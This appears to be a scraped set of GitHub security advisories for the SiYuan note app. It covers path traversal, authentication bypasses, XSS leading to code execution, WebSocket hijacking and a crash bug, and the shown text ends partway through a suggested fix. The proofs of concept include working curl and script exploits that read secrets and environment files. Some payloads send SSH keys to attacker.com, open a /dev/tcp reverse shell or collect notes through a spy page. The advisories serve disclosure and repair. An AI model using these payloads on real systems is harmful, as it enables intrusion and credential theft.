Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.73%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under /appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

sh siyuan.GET("/appearance/filepath", func(c gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ) ... c.File(filePath) })

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

sh strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

sh ../ ..\ (Windows)

2. Unsafe Path Joining

filepath.Join() does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

sh c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go sh if strings.HasPrefix(c.Request.RequestURI, "/appearance/") || strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") || strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") { c.Next() return } This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1 Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1 — Create marker file

mkdir -p ./workspace/data echo POCEXPLOITED > ./workspace/data/pocexploit.txt

Step 2 — Run SiYuan container

docker run -d \ -p 6806:6806 \ -e SIYUANACCESSAUTHCODEBYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace

Step 3 — Confirm service works

Open in browser:

sh http://127.0.0.1:6806

Exploit PoC Method A — using CURL command

Use --path-as-is so curl does NOT normalize ../.

sh curl -v --path-as-is \ "http://127.0.0.1:6806/appearance/../../data/pocexploit.txt"

Output

sh HTTP/1.1 200 OK POCEXPLOITED

Method B — Using Browser

sh http://127.0.0.1:6806/appearance/../../data/pocexploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

Impact

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

- Workspace configuration files - User notes and stored data - API tokens and secrets - Local system files (depending on permissions)

This may lead to:

- Sensitive information disclosure - Credential leakage - Further compromise through exposed secrets

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
EPSS
0.04%
Path Traversal, SQL Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details File: kernel/api/import.go - function importStdMd

go func importStdMd(c gin.Context) { notebook := arg["notebook"].(string) localPath := arg["localPath"].(string) // no validation whatsoever toPath := arg["toPath"].(string)

err := model.ImportFromLocalPath(notebook, localPath, toPath) // ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree // and writes every file's content into workspace SQLite as note blocks }

model.ImportFromLocalPath (kernel/model/import.go:784): go func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) { // ... filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error { // reads file content → converts to .sy note → stores in database }) }

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig): Admin imports sensitive files → content stored in blocks table → non-admin user queries via querySQL through renderSprig.

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: bash TOKEN="YOURADMINTOKEN"

Step 1: Create a notebook to import into NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \ -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

Step 3: Import Docker secrets (if present) curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

Step 4: Any authenticated user (non-admin) queries the imported secrets curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

Impact An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.

Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
EPSS
0.04%
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files }

NOT blocked: - /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself. - /usr — contains /usr/local/etc, /usr/local/share, custom configs - /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - /mnt, /media — mounted volumes, network shares, often containing secrets - /snap — snap package data - /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile

PoC

bash Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}'

Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

- Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p)

// Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false }

// Everything outside workspace is sensitive by default return true }

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
EPSS
0.36%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Summary

SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

- Vulnerable file: app/src/mobile/dock/MobileFiles.ts:77 - Safe counterpart: app/src/layout/dock/Files.ts:104 (uses escapeHtml) - Backend (no escaping): kernel/api/notebook.go:104-116 (renameNotebook) - Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false) - Endpoint: POST /api/notebook/renameNotebook (authenticated) - Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile — no escaping (MobileFiles.ts:77)

typescript case "renamenotebook": this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = data.data.name; break;

Desktop — properly escaped (Files.ts:104)

typescript case "renamenotebook": this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = escapeHtml(data.data.name); break;

Backend — sends unescaped name (notebook.go:104-116)

go func renameNotebook(c gin.Context) { // ... name := arg["name"].(string) err := model.RenameBox(notebook, name) // ... evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast) evt.Data = map[string]interface{}{ "box": notebook, "name": name, // Unescaped — sent directly to all clients } util.PushEvent(evt) }

model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.

Electron — Node.js in renderer (main.js:422-426)

javascript webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, }

Any JavaScript executed via innerHTML has full access to require('childprocess'), require('fs'), require('net'), etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)

http POST /api/notebook/renameNotebook HTTP/1.1 Content-Type: application/json Cookie: siyuan=<session>

{ "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" }

On Linux/macOS: json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('id > /tmp/pwned')\">" }

Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('childprocess').exec() — arbitrary OS command execution.

3. Verified event content

python Unauthenticated WebSocket listener receives: { "cmd": "renamenotebook", "data": { "box": "20260309161535-do8qg95", "name": "<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" } }

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant

json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/idrsa','utf8'))\">" }

5. Reverse shell variant

json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">" }

Attack Scenario

1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload 2. The renamenotebook event broadcasts the payload to ALL connected clients 3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload 4. nodeIntegration: true gives the injected JavaScript full OS access 5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

Impact

- Severity: CRITICAL (CVSS ~9.0) - Type: CWE-79 (Improper Neutralization of Input During Web Page Generation) - Full remote code execution on Electron desktop via nodeIntegration: true - Stored XSS — notebook names persist across sessions and survive restarts - Propagates via cloud sync to all synced devices - Affects all mobile interface users and desktop users in mobile/narrow layout - Inconsistent escaping — desktop is safe, mobile is not (indicates oversight) - Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Suggested Fix

1. Apply the same escaping used in the desktop version

typescript // Before (vulnerable): this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = data.data.name;

// After (fixed): this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = escapeHtml(data.data.name);

2. Sanitize notebook names on the backend

go func RenameBox(boxID, name string) (err error) { name = util.EscapeHTML(name) // Sanitize at the source // ... }

3. Long-term: Harden Electron configuration

javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, }

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.11%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The SiYuan kernel WebSocket server accepts unauthenticated connections when a specific “auth keepalive” query parameter is present. After connection, incoming messages are parsed using unchecked type assertions on attacker-controlled JSON.

A remote attacker can send malformed messages that trigger a runtime panic, potentially crashing the kernel process and causing denial of service.

Details 1. Authentication Bypass via Keepalive Query

Unauthenticated connections are accepted if the request URI matches a specific pattern intended for an authentication page keepalive.

File: kernel/server/serve.go

if !authOk { authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") }

2. Unsafe Type Assertions on Untrusted Input

Incoming JSON messages are parsed into a generic map and fields are accessed without validation.

File: kernel/server/serve.go

cmdStr := request["cmd"].(string) cmdId := request["reqId"].(float64) param := request["param"].(map[string]interface{})

Malformed or missing fields trigger a runtime panic. The handler does not implement local panic recovery, allowing crashes to propagate.

PoC Step 1 — Prepare workspace directory

sh mkdir -p ./workspace

Step 2 — Run SiYuan container

docker run -d \ -p 6806:6806 \ -e SIYUANACCESSAUTHCODEBYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace

Service becomes reachable at http://127.0.0.1:6806

Step 3 — Confirm service availability

Open in browser:

sh http://127.0.0.1:6806

Step 4 — Connect to unauthenticated WebSocket endpoint

sh ws://127.0.0.1:6806/ws?app=siyuan&id=auth&type=auth

This connection is accepted without credentials.

Step 5 — Send malformed payload

Payload:

sh

{}

Step 6 — Observe behavior

Monitor container logs:

sh

docker logs -f <containerid>

Impact An unauthenticated attacker with network access can repeatedly crash the kernel, causing persistent denial of service.

Impact is highest when the service is exposed beyond localhost (e.g., Docker deployments, reverse proxies, LAN access, or public hosting).

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
EPSS
0.04%
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details File: kernel/api/file.go - function globalCopyFiles

go for i, src := range srcs { absSrc, := filepath.Abs(src) // not restricted to workspace

if util.IsSensitivePath(absSrc) { // blocklist is incomplete return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for , src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace }

IsSensitivePath blocklist (kernel/util/path.go): go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASEURL, AWSACCESSKEYID, ANTHROPICAPIKEY | | /run/secrets/ | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/idrsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: bash TOKEN="YOURADMINTOKEN"

Step 1: Copy /proc/1/environ (process env vars) into workspace assets curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

Step 2: Read the copied file via standard API curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASEURL=postgres://...\nAPIKEY=sk-...

Docker secrets: bash Copy all Docker-injected secrets curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/dbpassword","/run/secrets/apitoken"],"destDir":"data/assets/"}'

Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
EPSS
0.06%
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

sh 1. data:text/xml bypass -- <a> element preserved with href intact curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \ | grep -o '<a [^>]>' Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

2. data:text/html is correctly blocked -- href stripped curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \ | grep -o '<a [^>]>' Output: <a> (href removed)

3. data:application/xml also bypasses curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \ | grep -o '<a [^>]>' Output: <a href="data:application/xml,..."> (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

go if strings.HasPrefix(val, "data:") { if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") { continue } }

text/xml and application/xml aren't in the list. Both serve SVG with JS execution.

Impact

Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.

Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.

The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.

Affected versions

v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.

Suggested fix

Flip the data: URI check to an allowlist -- only permit safe image types in href:

go if strings.HasPrefix(val, "data:") { safe := strings.HasPrefix(val, "data:image/png") || strings.HasPrefix(val, "data:image/jpeg") || strings.HasPrefix(val, "data:image/gif") || strings.HasPrefix(val, "data:image/webp") if !safe { continue } }

If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
EPSS
0.17%
Path Traversal, Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H

Summary

In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.

Details

1. Arbitrary local files copied into workspace

- Endpoint: POST /api/lute/html2BlockDOM, protected only by model.CheckAuth; publish read-only role is not restricted. - Behavior: On desktop (util.ContainerStd == model.Conf.System.Container), local absolute paths from <a href="file://..."> in the HTML are copied to {DataDir}/assets/. - Missing check: The code does not call util.IsSensitivePath(localPath) before copying, so any readable file (e.g. /etc/passwd, ~/.ssh/idrsa) can be copied into assets.

2. Direct access to assets via GET

- Endpoint: GET /assets/path (kernel/server/serve.go), protected only by model.CheckAuth; no publish-scope or admin check. - Behavior: The path is resolved with model.GetAssetAbsPath("assets" + path) and the file is served with http.ServeFile; any authenticated request (including publish visitors) can access existing asset files. - Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into data/assets/, extracts data-href="assets/xxx" from the returned DOM, then requests GET /assets/xxx to retrieve the file content.

PoC

javascript // Run in the browser devtools console while on the SiYuan publish service (async () => { try { // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32) const sensitiveFiles = [ 'file:///etc/passwd', 'file:///etc/group', 'file:///C:/Windows/System32/drivers/etc/hosts', 'file:///C:/Windows/System32/drivers/etc/services', ]; const dom = '<p>' + sensitiveFiles.map(f => <a href="${f}">x</a>).join(' ') + '</p>'; const r1 = await fetch('/api/lute/html2BlockDOM', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dom }), credentials: 'same-origin', }); const { data } = await r1.json(); const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]); for (const p of paths) { const r2 = await fetch('/' + p, { credentials: 'same-origin' }); if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text())); } } catch () {} })();

Impact

With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

- File: kernel/server/serve.go:728-731 - Function: serveWebSocket() → HandleConnect handler - Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated) - Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

go util.WebSocketServer.HandleConnect(func(s melody.Session) { authOk := true if "" != model.Conf.AccessAuthCode { // ... normal session/JWT authentication checks ... // authOk = false if no valid session }

if !authOk { // Bypass: allow connection for auth page keepalive // 用于授权页保持连接,避免非常驻内存内核自动退出 authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") }

if !authOk { s.CloseWithMsg([]byte(" unauthenticated")) return }

util.AddPushChan(s) // Session added to broadcast list })

Three issues combine:

1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

2. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

3. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection

python import asyncio, json, websockets

async def spy(): # Connect WITHOUT any authentication cookie uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth" async with websockets.connect(uri) as ws: print("Connected without authentication!") while True: msg = await ws.recv() data = json.loads(msg) cmd = data.get("cmd") d = data.get("data", {})

if cmd == "rename": print(f"[LEAKED] Document renamed: {d.get('title')}") elif cmd == "create": print(f"[LEAKED] Document created: {d.get('path')}") elif cmd == "renamenotebook": print(f"[LEAKED] Notebook renamed: {d.get('name')}") elif cmd == "removeDoc": print(f"[LEAKED] Document deleted") elif cmd == "transactions": for tx in d if isinstance(d, list) else []: for op in tx.get("doOperations", []): if op.get("action") == "updateAttrs": new = op.get("data", {}).get("new", {}) print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())

2. Cross-origin attack from malicious website

html <!-- Hosted on https://attacker.com/spy.html --> <script> // Victim has SiYuan running on localhost:6806 const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => { const data = JSON.parse(event.data); // Exfiltrate document operations to attacker fetch("https://attacker.com/collect", { method: "POST", body: JSON.stringify({ cmd: data.cmd, data: data.data, timestamp: Date.now() }) }); }; </script>

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

| Event | Leaked Data | |-------|-------------| | savedoc | Document root ID, operation data | | transactions | Document title, ID, attrs (new/old) | | create | Document path, notebook info (name, ID) | | rename | New document title, path, notebook ID | | renamenotebook | New notebook name, notebook ID | | removeDoc | Document deletion event |

4. Cross-origin connection confirmed

python import websockets, asyncio

async def test(): uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth" extraheaders = {"Origin": "https://evil.attacker.com"} async with websockets.connect(uri, additionalheaders=extraheaders) as ws: print("Cross-origin connection accepted!") # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance 2. Victim has accessAuthCode configured (server is password-protected) 3. Victim visits attacker.com in any browser 4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth 5. WebSocket connection bypasses authentication 6. Attacker silently monitors ALL document operations in real-time: - Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft") - Notebook names ("Personal", "Work - Confidential") - File paths and document IDs - Create/rename/delete operations 7. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

- Severity: HIGH (CVSS ~7.5) - Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets) - Authentication bypass on WebSocket endpoint when accessAuthCode is configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance - Real-time information disclosure of document metadata (titles, paths, operations) - No user interaction required beyond visiting a malicious website - Affects both Electron desktop and Docker/server deployments - Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

go // Remove or restrict the auth page bypass // Before (vulnerable): authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive // that does NOT receive broadcast events

2. Add Origin header validation

